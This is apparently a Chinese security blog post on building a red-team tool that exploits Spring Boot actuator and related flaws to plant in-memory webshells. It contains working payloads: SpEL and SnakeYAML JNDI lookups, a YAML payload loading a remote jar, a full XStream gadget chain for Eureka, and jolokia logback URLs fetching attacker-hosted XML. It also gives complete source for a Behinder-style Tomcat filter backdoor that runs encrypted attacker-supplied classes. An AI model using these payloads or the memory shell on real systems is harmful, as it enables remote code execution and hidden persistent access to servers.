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原创 | Spring Boot RCE到内存马探索

summersec SecIN技术平台 2024-05-25

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前言

SpringBootVulExploit是Spring Boot漏洞Check list,但在真正的环境中进行漏洞利用还是有一段距离的,因此衍生出了SpringBootExploit工具。本文是对该Check list到内存马探索之路的记录。再此过程中学到了很多知识,收获了很多,感谢神父hl0rey对我指导,才有工具诞生。    

本文内容是笔者在看雪大会上演讲的内容之一,本文应该在很早之前就发了,拖拖拉拉一直到现在。


漏洞归类

Check list一共给出了十二种方法,我们首先归类一下,看有那些共同点。

  1. JNDI注入

    1. 0x04:jolokia logback JNDI RCE

    2. 0x05:jolokia Realm JNDI RCE

    3. 0x07:h2 database console JNDI RCE

  2. Restart

    1. 0x06:restart h2 database query RCE

    2. 0x09:restart logging.config logback JNDI RCE

    3. 0x0A:restart logging.config groovy RCE

    4. 0x0B:restart spring.main.sources groovy RCE

    5. 0x0C:restart spring.datasource.data h2 database RCE

  3. 其他

    1. 0x01:whitelabel error page SpEL RCE

    2. 0x02:spring cloud SnakeYAML RCE

    3. 0x03:eureka xstream deserialization RCE

    4. 0x08:mysql jdbc deserialization RCE


分类标准,第一类是都可以直接使用JNDI注入的,第二类是都会将目标环境重启启动的,第三类是无法直接利用JNDI注入的。

第一类

第一类是最容易实现的JNDI内存马注入的,遇到的问题也是最少的。

第二类

第二类是都需要对环境进行重启操作,在测试过程中很容易对环境造成不可逆的后果。所以对此并没有进行整合,未来也不会集成。

第三类

第三类是无法直接利用JNDI,并且Check list说明里面都是反弹shell、弹计算器之类操作,这对于红队的是意义很小。


漏洞规范化

写工具首先得每一个漏洞的Payload进行规范,目前支持所有的方式就是将第三类转化支持JNDI注入的方式。将第三类漏洞进行转化是繁琐的工作,每一个漏洞目前网上公开的文章都是基于check list编写的。

此过程中遇到很多问题,一度曾放弃几种方式。一开始设想过支持回显,但后来发现,反序列化执行操作都是用服务器发起了,无法做到回显,压根行不通。所有后面只做了内存马,目前只支持一种内存马后期会考虑支持更多类型的内存马。

whitelabel error page SpEL RCE

SpEL RCE 最大问题就是如何用一句话的方式实现JNDI的方式。在天下大木头的指导下我获得提示:

javax.naming.InitialContext context = new InitialContext();context.lookup("ldap://127.0.0.1:1389/basic/TomcatMemShell3");


根据上面尝试,在测试过程遇到莫名奇妙的一些问题。

public class spel { public static void main(String[] args) { String poc = "new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()"; String rmi = "T(javax.naming.InitialContext).lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")"; String ldap = "new javax.naming.InitialContext().lookup(\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")"; String calc = "T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{ 0x63,0x61,0x6c,0x63 }))"; String poc2 = "java.lang.Class.forName(\"javax.naming.InitialContext\").getMethod(\"lookup\", String.class).invoke(Class.forName(\"javax.naming.InitialContext\").newInstance(),\"ldap://127.0.0.1:1389/basic/TomcatMemShell3\")"; SpelExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(rmi); StandardEvaluationContext context = new StandardEvaluationContext(); expression.getValue(context);

}}


使用payload rmi时会报找不到lookup方法


使用payload poc2也报错

最终通过不断尝试payload ldap是有效。但这个漏洞利用方式没在工具里集成,是因为SpEL漏洞存在有很多种情况,无法做到考虑完全,如果你发现此漏洞可以用该工具生成Payload打。

Payload 食用方法示例:http://127.0.0.1:9091/article?id=Payload${new javax.naming.InitialContext().lookup(new String(new byte[]{ 0x6c,0x64,0x61,0x70,0x3a,0x2f,0x2f,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x31,0x33,0x38,0x39,0x2f,0x62,0x61,0x73,0x69,0x63,0x2f,0x54,0x6f,0x6d,0x63,0x61,0x74,0x4d,0x65,0x6d,0x53,0x68,0x65,0x6c,0x6c,0x33 }))}

payload生成代码:

public String SpelExpr(String cmd){
String ldap = "${new javax.naming.InitialContext().lookup(new String(new byte[]{ ";
StringBuilder sb = new StringBuilder(); char[] ch = cmd.toCharArray(); for (int i=0 ; i<ch.length; i++){ sb.append("0x" + HexUtil.toHex(Integer.valueOf(ch[i]).intValue())); if (i != ch.length -1 ){ sb.append(","); } }

ldap += sb.append(" }))}").toString(); System.out.println(ldap); return ldap;
}


spring cloud SnakeYAML RCE

SnakeYaml RCE处理的比较特殊,一开始尝试转化JNDI的方法测试失败。JNDI注入其实是可以的,后期成功,但有一个问题POST /refresh的时候会返回500,但注入是成功的(注入不成功也是,所以是无法很好的判断)。使用checklist中的jar方式返回是200。工具里面采用的是jar的方式,会判断是否注入成功。

直接JNDI注入的代码。

String yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" + " dataSourceName: \"ldap://127.0.0.1:1389/basic/TomcatMemShell3\"\n" +    "  autoCommit: true";

服务器远程加载jar,但这里有一个点,生成的jar要符合规范。和传统的打包方式不一样,这里要满足某种规范(具体忘记了)artsploit/yaml-payload Y4er/yaml-payload 这里给出两个项目参考生成包含内存马jar。

String bytes = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://127.0.0.1:3456/behinder3.jar\"]\n" + " ]]\n" + "]\n";


eureka xstream deserialization RCE

eureka xstream 反序列化漏洞本质是xstream反序列化漏洞,但有一点和传统XStream漏洞利用有区别的是,eureka处理不了hashmap。得重新构造EXP。

This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the Marshalsec research. The only difference here is using LinkedHashSet to trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()' method. The original payload leverages java.lang.Map to achieve the same behaviour, but Eureka's XStream configuration has a custom converter for maps which makes it unusable. The payload above does not use Maps at all and can be used to achieve Remote Code Execution without additional constraints.
在exploiting-spring-boot-actuators中写上面这段说明,大致意思就是eureka中不能使用hashmap,得替换成LinkedHashSet 。网上流传的XStream的payload都是基于hashmap的,原文给的payload以及check list的payload都是弹计算器,不能进一步的深入利用。如何构造转化成JNDI这一问题摆在我们面前,一开始踩了很多坑,后来发现YSOMAP里面集成了这个Payload。ysomap的使用方法大致类似于msf,如下图。

但生成的payload得小改一下(将HashMap改成LinkedHashSet),经过多次测试最终成形的payload如下:

<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="com.sun.rowset.JdbcRowSetImpl" serialization="custom"> <javax.sql.rowset.BaseRowSet> <default> <concurrency>1008</concurrency> <escapeProcessing>true</escapeProcessing> <fetchDir>1000</fetchDir> <fetchSize>0</fetchSize> <isolation>2</isolation> <maxFieldSize>0</maxFieldSize> <maxRows>0</maxRows> <queryTimeout>0</queryTimeout> <readOnly>true</readOnly> <rowSetType>1004</rowSetType> <showDeleted>false</showDeleted> <dataSource>rmi://127.0.0.1:10990/Calc</dataSource> <listeners/> <params/> </default> </javax.sql.rowset.BaseRowSet> <com.sun.rowset.JdbcRowSetImpl> <default> <iMatchColumns> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> <int>-1</int> </iMatchColumns> <strMatchColumns> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> <null/> </strMatchColumns> </default> </com.sun.rowset.JdbcRowSetImpl> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>com.sun.rowset.JdbcRowSetImpl</class> <name>getDatabaseMetaData</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry></linked-hash-set>

目前没有集成这个漏洞,因为服务器端要构造一个flask框架的服务端,内容包含上面的xml文件。

目前实现方式

  1. Java直接实现Flask框架 没有现成的方式(放弃)

  2. Java直接调用命令执行python文件(失败,Java调用Runtime和cmd直接调用是有区别的)

  3. 使用jython执行python文件,脚本依赖flask依赖。要加入flask目录(不符合需求)


mysql jdbc deserialization RCE

此漏洞利用极其复杂,条件要求较多。

  1. 需要确认存在mysql驱动

  2. 版本需要5.x或者8.x

  3. 需要存在gadget依赖

  4. 记录原本的spring.datasource.url 的value,最后恢复

  5. 需要架设恶意rogue mysql server

成功率低,需要多,故目前没集成(后期可能会集成)。

jolokia logback JNDI RCE

Payload

String path = "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/" + vps                + ":3456!/a.xml";

a.xml

 String bytes = "<configuration>\n  <insertFromJNDI env-entry-name=\"ldap://" + Config.ip + ":1389/TomcatBypass/TomcatMemshell3\" as=\"appName\" />\n</configuration>";


jolokia Realm JNDI RCE

这个RCE利用方式和上面一个差不多,存在jolokia logback JNDI RCE大概率存在jolokia Realm JNDI RCE漏洞,这里就不详细展开。

h2 database console JNDI RCE


服务端

所有的漏洞都是要使用JNDI和HTTP服务,如果每一个都是攻击者进行使用将漏洞Payload进行适配,这会使得攻击者使用成本和时间成本就大大增大了,这也不能达到一键化,自动化的目的。一个适配所有漏洞的服务端的工具就由此而生,在神父的帮助下,找到了项目JNDIExploit。

项目解决了大部分功能,以及框架等问题,这也使得工具很快的得到阶段性的进展。

工具需求:

1.处理客户端发送的Payload请求,返回对应内容。

以jolokia logback JNDI RCE类型为例:
客户端要请求xx.xml文件,返回如下内容

<configuration> <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" /></configuration>

2.定制内存马

和传统内存马注入有区别,JNDI是返回Class文件,直接实例化类。所以得定制化JNDI注入的内存马类文件,内存马源码如下。

package com.feihong.ldap.template;
import org.apache.catalina.LifecycleState;import org.apache.catalina.connector.Request;import org.apache.catalina.connector.Response;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.util.LifecycleBase;import org.apache.coyote.RequestInfo;
import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.*;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpSession;import java.io.IOException;import java.io.InputStream;import java.io.Writer;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.math.BigInteger;import java.security.MessageDigest;import java.util.EnumSet;import java.util.HashMap;import java.util.List;import java.util.Map;
public class BehinderFilter extends ClassLoader implements Filter{ public String cs = "UTF-8";// public String pwd = "eac9fa38330a7535"; public String pwd = "02f2a5c80f47d495"; public String path = "/ateam"; public String filterName = "ateam666"; public Request req = null; public Response resp = null;

static { try { BehinderFilter behinderMemShell = new BehinderFilter(); if (behinderMemShell.req != null && behinderMemShell.resp != null){ behinderMemShell.addFilter(); } } catch (Exception e){ } }

public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
public String md5(String s) { String ret = null; try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16); } catch (Exception var4) { } return ret; }
public BehinderFilter() { this.setParams(); }
public BehinderFilter(ClassLoader c) { super(c); this.setParams(); }

public void setParams(){ try { boolean flag = false; Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(),"threads"); for (int i=0;i<threads.length;i++){ Thread thread = threads[i]; if (thread != null){ String threadName = thread.getName(); if (!threadName.contains("exec") && threadName.contains("http")){ Object target = getField(thread,"target"); Object global = null; if (target instanceof Runnable){ try { global = getField(getField(getField(target,"this$0"),"handler"),"global"); } catch (NoSuchFieldException fieldException){ fieldException.printStackTrace(); } } if (global != null){ List processors = (List) getField(global,"processors"); for (i=0;i<processors.size();i++){ RequestInfo requestInfo = (RequestInfo) processors.get(i); if (requestInfo != null){ org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) getField(requestInfo,"req"); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); Response response = request.getResponse(); this.req = request; this.resp = response; flag = true; break; } } } } } if (flag){ break; } } } catch (Exception e){ e.printStackTrace(); } }

public String addFilter() throws Exception { ServletContext servletContext = this.req.getServletContext(); Filter filter = this; String filterName = this.filterName; String url = this.path; if (servletContext.getFilterRegistration(filterName) == null) { Field contextField = null; ApplicationContext applicationContext = null; StandardContext standardContext = null; Field stateField = null; FilterRegistration.Dynamic filterRegistration = null;
String var11; try { contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); applicationContext = (ApplicationContext)contextField.get(servletContext); contextField = applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); standardContext = (StandardContext)contextField.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); filterRegistration = servletContext.addFilter(filterName, filter); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[])null); stateField.set(standardContext, LifecycleState.STARTED); var11 = null;
Class filterMap; try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception var22) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); }
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps"); Object[] filterMaps = (Object[])((Object[])((Object[])findFilterMaps.invoke(standardContext))); for(int i = 0; i < filterMaps.length; ++i) { Object filterMapObj = filterMaps[i]; findFilterMaps = filterMap.getMethod("getFilterName"); String name = (String)findFilterMaps.invoke(filterMapObj); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } String var25 = "Success"; String var26 = var25; return var26; } catch (Exception var23) { var11 = var23.getMessage(); } finally { stateField.set(standardContext, LifecycleState.STARTED); }
return var11; } else { return "Filter already exists"; } }
public static Object getField(Object obj, String fieldName) throws Exception { Field f0 = null; Class clas = obj.getClass();
while (clas != Object.class){ try { f0 = clas.getDeclaredField(fieldName); break; } catch (NoSuchFieldException e){ clas = clas.getSuperclass(); } }
if (f0 != null){ f0.setAccessible(true); return f0.get(obj); }else { throw new NoSuchFieldException(fieldName); } }


@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpSession session = ((HttpServletRequest)req).getSession(); Map obj = new HashMap(); obj.put("request", req); obj.put("response", resp); obj.put("session", session); try { session.putValue("u", this.pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.pwd.getBytes(), "AES")); (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } }
public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[])((byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str))); } catch (Exception var5) { Class clazz = Class.forName("java.util.Base64"); Object decoder = clazz.getMethod("getDecoder").invoke((Object)null); return (byte[])((byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str))); } }
@Override public void destroy() {
}}


总结

可能是大多数人没有需求,或者是安全研究员没有打红队的原因。导致利用方式普遍都是以弹计算器为最终结果,不能进一步深入利用,导致很多漏洞不了了之。目前网上普遍分析文章,复现文章都是以弹计算器结束,但这其实与实战化的需求还存在着很远的一段路程。

写工具的时候遇到很多奇奇怪怪的问题,如果这些漏洞都能以高级漏洞利用的方式,或者不是执行命令但计算器的方式结束,其实会好很多。当然这些漏洞目前都是间接或者直接转化成JNDI的方式进行漏洞利用,这虽然也存在一定的局限性。但我觉得这是一个开端,后续有人肯定有跟多的奇思妙想的解决方案。


参考

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://github.com/LandGrey/SpringBootVulExploit
https://github.com/wh1t3p1g/ysomap


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